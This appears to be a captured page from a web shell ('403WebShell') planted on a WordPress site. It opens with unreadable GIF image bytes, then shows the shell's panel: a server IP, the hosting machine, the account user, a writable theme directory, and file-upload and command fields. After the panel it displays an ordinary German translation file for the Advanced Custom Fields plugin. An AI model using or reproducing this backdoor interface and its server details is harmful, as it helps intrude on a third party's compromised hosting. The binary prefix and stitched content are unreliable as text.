GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.82
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/ibrenergy.com/wp-content/themes/ibr-theme/includes/acf/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/ibrenergy.com/wp-content/themes/ibr-theme/includes/acf/lang/acf-de_DE.po
msgid ""
msgstr ""
"Project-Id-Version: Advanced Custom Fields Pro v5.5\n"
"Report-Msgid-Bugs-To: http://support.advancedcustomfields.com\n"
"POT-Creation-Date: 2016-11-11 01:15+0100\n"
"PO-Revision-Date: 2016-11-11 02:23+0100\n"
"Last-Translator: Ralf Koller <r.koller@gmail.com>\n"
"Language-Team: Ralf Koller <r.koller@gmail.com>\n"
"Language: de_DE\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"
"X-Generator: Poedit 1.8.11\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;"
"esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;"
"_nx_noop:3c,1,2;__ngettext_noop:1,2\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-WPHeader: acf.php\n"
"X-Textdomain-Support: yes\n"
"X-Poedit-SearchPath-0: .\n"
"X-Poedit-SearchPathExcluded-0: *.js\n"

# @ acf
#: acf.php:60
msgid "Advanced Custom Fields"
msgstr "Advanced Custom Fields"

# @ acf
#: acf.php:281 admin/admin.php:117
msgid "Field Groups"
msgstr "Feld-Gruppen"

# @ acf
#: acf.php:282
msgid "Field Group"
msgstr "Feld-Gruppe"

# @ acf
#: acf.php:283 acf.php:315 admin/admin.php:118
#: pro/fields/flexible-content.php:576
msgid "Add New"
msgstr "Erstellen"

# @ acf
#: acf.php:284
msgid "Add New Field Group"
msgstr "Neue Feld-Gruppe erstellen"

# @ acf
#: acf.php:285
msgid "Edit Field Group"
msgstr "Feld-Gruppe bearbeiten"

# @ acf
#: acf.php:286
msgid "New Field Group"
msgstr "Neue Feld-Gruppe"

# @ acf
#: acf.php:287
msgid "View Field Group"
msgstr "Feld-Gruppe anzeigen"

# @ acf
#: acf.php:288
msgid "Search Field Groups"
msgstr "Feld-Gruppen suchen"

# @ acf
#: acf.php:289
msgid "No Field Groups found"
msgstr "Keine Feld-Gruppen gefunden"

# @ acf
#: acf.php:290
msgid "No Field Groups found in Trash"
msgstr "Keine Feld-Gruppen im Papierkorb gefunden"

# @ acf
#: acf.php:313 admin/field-group.php:182 admin/field-group.php:280
#: admin/field-groups.php:510 pro/fields/clone.php:819
msgid "Fields"
msgstr "Felder"

# @ acf
#: acf.php:314
msgid "Field"
msgstr "Feld"

# @ acf
#: acf.php:316
msgid "Add New Field"
msgstr "Feld hinzufügen"

# @ acf
#: acf.php:317
msgid "Edit Field"
msgstr "Feld bearbeiten"

# @ acf
#: acf.php:318 admin/views/field-group-fields.php:53
#: admin/views/settings-info.php:111
msgid "New Field"
msgstr "Neues Feld"

# @ acf
#: acf.php:319
msgid "View Field"
msgstr "Feld anzeigen"

# @ acf
#: acf.php:320
msgid "Search Fields"
msgstr "Felder suchen"

# @ acf
#: acf.php:321
msgid "No Fields found"
msgstr "Keine Felder gefunden"

# @ acf
#: acf.php:322
msgid "No Fields found in Trash"
msgstr "Keine Feld-Gruppen im Papierkorb gefunden"

#: acf.php:361 admin/field-group.php:395 admin/field-groups.php:567
msgid "Inactive"
msgstr "Inaktiv"

#: acf.php:366
#, php-format
msgid "Inactive <span class=\"count\">(%s)</span>"
msgid_plural "Inactive <span class=\"count\">(%s)</span>"
msgstr[0] "Inaktiv <span class=\"count\">(%s)</span>"
msgstr[1] "Inaktiv <span class=\"count\">(%s)</span>"

# @ acf
#: admin/admin.php:113 admin/views/field-group-options.php:114
msgid "Custom Fields"
msgstr "Eigene Felder"

# @ acf
#: admin/field-group.php:68 admin/field-group.php:69 admin/field-group.php:71
msgid "Field group updated."
msgstr "Feld-Gruppe aktualisiert."

# @ acf
#: admin/field-group.php:70
msgid "Field group deleted."
msgstr "Feld-Gruppe gelöscht."

# @ acf
#: admin/field-group.php:73
msgid "Field group published."
msgstr "Feld-Gruppe veröffentlicht."

# @ acf
#: admin/field-group.php:74
msgid "Field group saved."
msgstr "Feld-Gruppe gesichert."

# @ acf
#: admin/field-group.php:75
msgid "Field group submitted."
msgstr "Feld-Gruppe übertragen."

# @ acf
#: admin/field-group.php:76
msgid "Field group scheduled for."
msgstr "Feld-Gruppe geplant für."

# @ acf
#: admin/field-group.php:77
msgid "Field group draft updated."
msgstr "Entwurf der Feld-Gruppe aktualisiert."

# @ acf
#: admin/field-group.php:183
msgid "Location"
msgstr "Position"

#: admin/field-group.php:184
msgid "Settings"
msgstr "Einstellungen"

# @ acf
#: admin/field-group.php:274
msgid "Move to trash. Are you sure?"
msgstr "Wirklich in den Papierkorb verschieben?"

# @ acf
#: admin/field-group.php:275
msgid "checked"
msgstr "ausgewählt"

# @ acf
#: admin/field-group.php:276
msgid "No toggle fields available"
msgstr "Es liegen keine Auswahl-Feld-Typen vor"

# @ acf
#: admin/field-group.php:277
msgid "Field group title is required"
msgstr "Es ist ein Titel für die Feld-Gruppe erforderlich"

# @ acf
#: admin/field-group.php:278 api/api-field-group.php:651
msgid "copy"
msgstr "kopieren"

# @ acf
#: admin/field-group.php:279
#: admin/views/field-group-field-conditional-logic.php:55
#: admin/views/field-group-field-conditional-logic.php:155
#: admin/views/field-group-locations.php:59
#: admin/views/field-group-locations.php:135 api/api-helpers.php:3863
msgid "or"
msgstr "oder"

# @ acf
#: admin/field-group.php:281
msgid "Parent fields"
msgstr "Übergeordnete Felder"

# @ acf
#: admin/field-group.php:282
msgid "Sibling fields"
msgstr "Geschwister-Felder"

# @ acf
#: admin/field-group.php:283
msgid "Move Custom Field"
msgstr "Benutzerdefiniertes Feld verschieben"

# @ acf
#: admin/field-group.php:284
msgid "This field cannot be moved until its changes have been saved"
msgstr "Diese Feld kann nicht verschoben werden, bevor es gesichert wurde."

# @ acf
#: admin/field-group.php:285
msgid "Null"
msgstr "Null"

# @ acf
#: admin/field-group.php:286 core/input.php:257
msgid "The changes you made will be lost if you navigate away from this page"
msgstr ""
"Die vorgenommenen Änderungen gehen verloren wenn diese Seite verlassen wird."

# @ acf
#: admin/field-group.php:287
msgid "The string \"field_\" may not be used at the start of a field name"
msgstr "Der Feldname darf nicht mit \"field_\" beginnen"

#: admin/field-group.php:365
msgid "Field Keys"
msgstr "Feldschlüssel"

#: admin/field-group.php:395 admin/views/field-group-options.php:5
msgid "Active"
msgstr "Aktiviert"

# @ acf
#: admin/field-group.php:846
msgid "Front Page"
msgstr "Startseite"

# @ acf
#: admin/field-group.php:847
msgid "Posts Page"
msgstr "Beitrags-Seite"

# @ acf
#: admin/field-group.php:848
msgid "Top Level Page (no parent)"
msgstr "Seite ohne übergeordnete Seiten"

# @ acf
#: admin/field-group.php:849
msgid "Parent Page (has children)"
msgstr "Übergeordnete Seite (mit Unterseiten)"

# @ acf
#: admin/field-group.php:850
msgid "Child Page (has parent)"
msgstr "Unterseite (mit übergeordneter Seite)"

# @ acf
#: admin/field-group.php:866
msgid "Default Template"
msgstr "Standard-Template"

# @ acf
#: admin/field-group.php:889
msgid "Logged in"
msgstr "ist angemeldet"

# @ acf
#: admin/field-group.php:890
msgid "Viewing front end"
msgstr "ist im Front-End"

# @ acf
#: admin/field-group.php:891
msgid "Viewing back end"
msgstr "ist im Back-End"

# @ acf
#: admin/field-group.php:910
msgid "Super Admin"
msgstr "Super-Admin"

# @ acf
#: admin/field-group.php:921 admin/field-group.php:929
#: admin/field-group.php:943 admin/field-group.php:950
#: admin/field-group.php:967 admin/field-group.php:984 fields/file.php:243
#: fields/image.php:239 pro/fields/gallery.php:676
msgid "All"
msgstr "Alle"

# @ acf
#: admin/field-group.php:930
msgid "Add / Edit"
msgstr "Hinzufügen / Bearbeiten"

# @ acf
#: admin/field-group.php:931
msgid "Register"
msgstr "Registrieren"

# @ acf
#: admin/field-group.php:1168
msgid "Move Complete."
msgstr "Verschieben erfolgreich abgeschlossen."

# @ acf
#: admin/field-group.php:1169
#, php-format
msgid "The %s field can now be found in the %s field group"
msgstr "Das Feld \"%s\" wurde in die %s Feld-Gruppe verschoben"

# @ acf
#: admin/field-group.php:1171
msgid "Close Window"
msgstr "Schließen"

# @ acf
#: admin/field-group.php:1213
msgid "Please select the destination for this field"
msgstr "In welche Feld-Gruppe solle dieses Feld verschoben werden"

# @ acf
#: admin/field-group.php:1220
msgid "Move Field"
msgstr "Feld verschieben"

#: admin/field-groups.php:74
#, php-format
msgid "Active <span class=\"count\">(%s)</span>"
msgid_plural "Active <span class=\"count\">(%s)</span>"
msgstr[0] "Veröffentlicht <span class=\"count\">(%s)</span>"
msgstr[1] "Veröffentlicht <span class=\"count\">(%s)</span>"

# @ acf
#: admin/field-groups.php:142
#, php-format
msgid "Field group duplicated. %s"
msgstr "Feld-Gruppe dupliziert: %s"

# @ acf
#: admin/field-groups.php:146
#, php-format
msgid "%s field group duplicated."
msgid_plural "%s field groups duplicated."
msgstr[0] "%s Feld-Gruppe dupliziert."
msgstr[1] "%s Feld-Gruppen dupliziert."

# @ acf
#: admin/field-groups.php:227
#, php-format
msgid "Field group synchronised. %s"
msgstr "Feld-Gruppe synchronisiert: %s"

# @ acf
#: admin/field-groups.php:231
#, php-format
msgid "%s field group synchronised."
msgid_plural "%s field groups synchronised."
msgstr[0] "%s Feld-Gruppe synchronisiert."
msgstr[1] "%s Feld-Gruppen synchronisiert."

# @ acf
#: admin/field-groups.php:394 admin/field-groups.php:557
msgid "Sync available"
msgstr "Synchronisierung verfügbar"

# @ acf
#: admin/field-groups.php:507 api/api-template.php:1018
#: pro/fields/gallery.php:370
msgid "Title"
msgstr "Titel"

# @ acf
#: admin/field-groups.php:508 admin/views/field-group-options.php:92
#: admin/views/install-network.php:25 admin/views/install-network.php:33
#: pro/fields/gallery.php:397
msgid "Description"
msgstr "Beschreibung"

#: admin/field-groups.php:509
msgid "Status"
msgstr "Status"

# @ acf
#: admin/field-groups.php:609 admin/settings-info.php:76
#: pro/admin/views/settings-updates.php:111
msgid "Changelog"
msgstr "Versionshinweise"

#: admin/field-groups.php:610
#, php-format
msgid "See what's new in <a href=\"%s\">version %s</a>."
msgstr "Was gibt es Neues in <a href=\"%s\">Version %s</a>."

# @ acf
#: admin/field-groups.php:612
msgid "Resources"
msgstr "Dokumentation (engl.)"

#: admin/field-groups.php:614
msgid "Documentation"
msgstr "Dokumentation"

# @ acf
#: admin/field-groups.php:616
msgid "Getting Started"
msgstr "Erste Schritte"

# @ acf
#: admin/field-groups.php:617
msgid "Field Types"
msgstr "Feld-Typen"

# @ acf
#: admin/field-groups.php:618
msgid "Functions"
msgstr "Funktionen"

# @ acf
#: admin/field-groups.php:619
msgid "Actions"
msgstr "Aktionen"

# @ acf
#: admin/field-groups.php:620 fields/relationship.php:737
msgid "Filters"
msgstr "Filter"

#: admin/field-groups.php:621
msgid "Features"
msgstr "Funktionen"

#: admin/field-groups.php:622
msgid "How to"
msgstr "Kurzanleitungen"

# @ acf
#: admin/field-groups.php:623
msgid "Tutorials"
msgstr "Ausführliche Anleitungen"

#: admin/field-groups.php:624
msgid "FAQ"
msgstr "Häufig gestellte Fragen"

#: admin/field-groups.php:625
msgid "Support"
msgstr "Hilfe"

#: admin/field-groups.php:629
#, php-format
msgid "Thank you for creating with <a href=\"%s\">ACF</a>."
msgstr "Danke für das Vertrauen in <a href=\"%s\">ACF</a>."

# @ acf
#: admin/field-groups.php:671
msgid "Duplicate this item"
msgstr "Dieses Element duplizieren"

# @ acf
#: admin/field-groups.php:671 admin/field-groups.php:687
#: admin/views/field-group-field.php:59 pro/fields/flexible-content.php:575
msgid "Duplicate"
msgstr "Duplizieren"

# @ acf
#: admin/field-groups.php:704 fields/google-map.php:132
#: fields/relationship.php:742
msgid "Search"
msgstr "Suchen"

# @ acf
#: admin/field-groups.php:754
#, php-format
msgid "Select %s"
msgstr "%s auswählen"

# @ acf
#: admin/field-groups.php:762
msgid "Synchronise field group"
msgstr "Synchronisiere Feld-Gruppe"

# @ acf
#: admin/field-groups.php:762 admin/field-groups.php:779
msgid "Sync"
msgstr "Synchronisieren"

# @ acf
#: admin/install-network.php:88 admin/install.php:70 admin/install.php:121
msgid "Upgrade Database"
msgstr "Aktualisiere Datenbank"

# @ acf
#: admin/install-network.php:140
msgid "Review sites & upgrade"
msgstr "Übersicht Seiten & Aktualisierungen"

#: admin/install-updates.php:354
msgid "Term meta upgrade not possible (termmeta table does not exist)"
msgstr ""
"Term Meta-Aktualisierung war nicht möglich (die termmeta-Tabelle existiert "
"nicht)"

#: admin/install.php:186
msgid "Error validating request"
msgstr "Fehler bei der Überprüfung der Anfrage"

# @ acf
#: admin/install.php:209 admin/views/install.php:110
msgid "No updates available."
msgstr "Keine Aktualisierungen verfügbar."

# @ acf
#: admin/settings-addons.php:51 admin/views/settings-addons.php:9
msgid "Add-ons"
msgstr "Zusatz-Module"

# @ acf
#: admin/settings-addons.php:87
msgid "<b>Error</b>. Could not load add-ons list"
msgstr "<b>Fehler</b>. Die Liste der Zusatz-Module kann nicht geladen werden"

# @ acf
#: admin/settings-info.php:50
msgid "Info"
msgstr "Info"

# @ acf
#: admin/settings-info.php:75
msgid "What's New"
msgstr "Was gibt es Neues"

#: admin/settings-tools.php:50 admin/views/settings-tools-export.php:23
#: admin/views/settings-tools.php:31
msgid "Tools"
msgstr "Werkzeuge"

# @ acf
#: admin/settings-tools.php:147 admin/settings-tools.php:380
msgid "No field groups selected"
msgstr "Keine Feld-Gruppe ausgewählt"

# @ acf
#: admin/settings-tools.php:184 fields/file.php:177
msgid "No file selected"
msgstr "Keine Datei ausgewählt"

# @ acf
#: admin/settings-tools.php:197
msgid "Error uploading file. Please try again"
msgstr "Fehler beim Upload. Bitte erneut versuchen."

# @ acf
#: admin/settings-tools.php:206
msgid "Incorrect file type"
msgstr "Falscher Dateityp"

# @ acf
#: admin/settings-tools.php:223
msgid "Import file empty"
msgstr "Die importierte Datei ist leer"

#: admin/settings-tools.php:331
#, php-format
msgid "Imported 1 field group"
msgid_plural "Imported %s field groups"
msgstr[0] "Eine Feld-Gruppe importiert"
msgstr[1] "%s Feld-Gruppen importiert"

# @ acf
#: admin/views/field-group-field-conditional-logic.php:29
msgid "Conditional Logic"
msgstr "Bedingungen für die Anzeige"

# @ acf
#: admin/views/field-group-field-conditional-logic.php:55
msgid "Show this field if"
msgstr "Zeige dieses Feld, wenn"

# @ acf
#: admin/views/field-group-field-conditional-logic.php:104
#: admin/views/field-group-locations.php:34
msgid "is equal to"
msgstr "ist gleich"

# @ acf
#: admin/views/field-group-field-conditional-logic.php:105
#: admin/views/field-group-locations.php:35
msgid "is not equal to"
msgstr "ist ungleich"

# @ acf
#: admin/views/field-group-field-conditional-logic.php:142
#: admin/views/field-group-locations.php:122
msgid "and"
msgstr "und"

# @ acf
#: admin/views/field-group-field-conditional-logic.php:157
#: admin/views/field-group-locations.php:137
msgid "Add rule group"
msgstr "Regel-Gruppe hinzufügen"

# @ acf
#: admin/views/field-group-field.php:50 pro/fields/flexible-content.php:422
#: pro/fields/repeater.php:349
msgid "Drag to reorder"
msgstr "Ziehen zum Sortieren"

# @ acf
#: admin/views/field-group-field.php:55 admin/views/field-group-field.php:58
msgid "Edit field"
msgstr "Feld bearbeiten"

# @ acf
#: admin/views/field-group-field.php:58 fields/image.php:142
#: pro/fields/gallery.php:357
msgid "Edit"
msgstr "Bearbeiten"

# @ acf
#: admin/views/field-group-field.php:59
msgid "Duplicate field"
msgstr "Feld duplizieren"

# @ acf
#: admin/views/field-group-field.php:60
msgid "Move field to another group"
msgstr "Feld in eine andere Gruppe verschieben"

# @ acf
#: admin/views/field-group-field.php:60
msgid "Move"
msgstr "Verschieben"

# @ acf
#: admin/views/field-group-field.php:61
msgid "Delete field"
msgstr "Feld löschen"

# @ acf
#: admin/views/field-group-field.php:61 pro/fields/flexible-content.php:574
msgid "Delete"
msgstr "Löschen"

# @ acf
#: admin/views/field-group-field.php:69
msgid "Error"
msgstr "Fehler"

# @ acf
#: admin/views/field-group-field.php:69
msgid "Field type does not exist"
msgstr "Feld-Typ existiert nicht"

# @ acf
#: admin/views/field-group-field.php:82
msgid "Field Label"
msgstr "Bezeichnung"

# @ acf
#: admin/views/field-group-field.php:83
msgid "This is the name which will appear on the EDIT page"
msgstr "Dieser Name wird in der Bearbeitungs-Ansicht eines Beitrags angezeigt"

# @ acf
#: admin/views/field-group-field.php:95
msgid "Field Name"
msgstr "Feld-Name"

# @ acf
#: admin/views/field-group-field.php:96
msgid "Single word, no spaces. Underscores and dashes allowed"
msgstr ""
"Nur ein Wort ohne Leerzeichen; es sind nur Unterstriche und Bindestriche als "
"Sonderzeichen erlaubt"

# @ acf
#: admin/views/field-group-field.php:108
msgid "Field Type"
msgstr "Feld-Typ"

# @ acf
#: admin/views/field-group-field.php:122 fields/tab.php:103
msgid "Instructions"
msgstr "Anweisungen"

# @ acf
#: admin/views/field-group-field.php:123
msgid "Instructions for authors. Shown when submitting data"
msgstr "Anweisungen für Autoren werden in der Bearbeitungs-Ansicht angezeigt"

# @ acf
#: admin/views/field-group-field.php:134
msgid "Required?"
msgstr "Erforderlich?"

# @ acf
#: admin/views/field-group-field.php:159
msgid "Wrapper Attributes"
msgstr "Wrapper-Attribute"

# @ acf
#: admin/views/field-group-field.php:165
msgid "width"
msgstr "Breite"

# @ acf
#: admin/views/field-group-field.php:179
msgid "class"
msgstr "Klasse"

# @ acf
#: admin/views/field-group-field.php:192
msgid "id"
msgstr "ID"

# @ acf
#: admin/views/field-group-field.php:204
msgid "Close Field"
msgstr "Feld schließen"

# @ acf
#: admin/views/field-group-fields.php:17
msgid "Order"
msgstr "Reihenfolge"

# @ acf
#: admin/views/field-group-fields.php:18 fields/checkbox.php:312
#: fields/radio.php:313 fields/select.php:528
#: pro/fields/flexible-content.php:601
msgid "Label"
msgstr "Name"

# @ acf
#: admin/views/field-group-fields.php:19 fields/taxonomy.php:966
#: pro/fields/flexible-content.php:614
msgid "Name"
msgstr "Feld-Name"

# @ acf
#: admin/views/field-group-fields.php:20
msgid "Type"
msgstr "Typ"

# @ acf
#: admin/views/field-group-fields.php:26
msgid ""
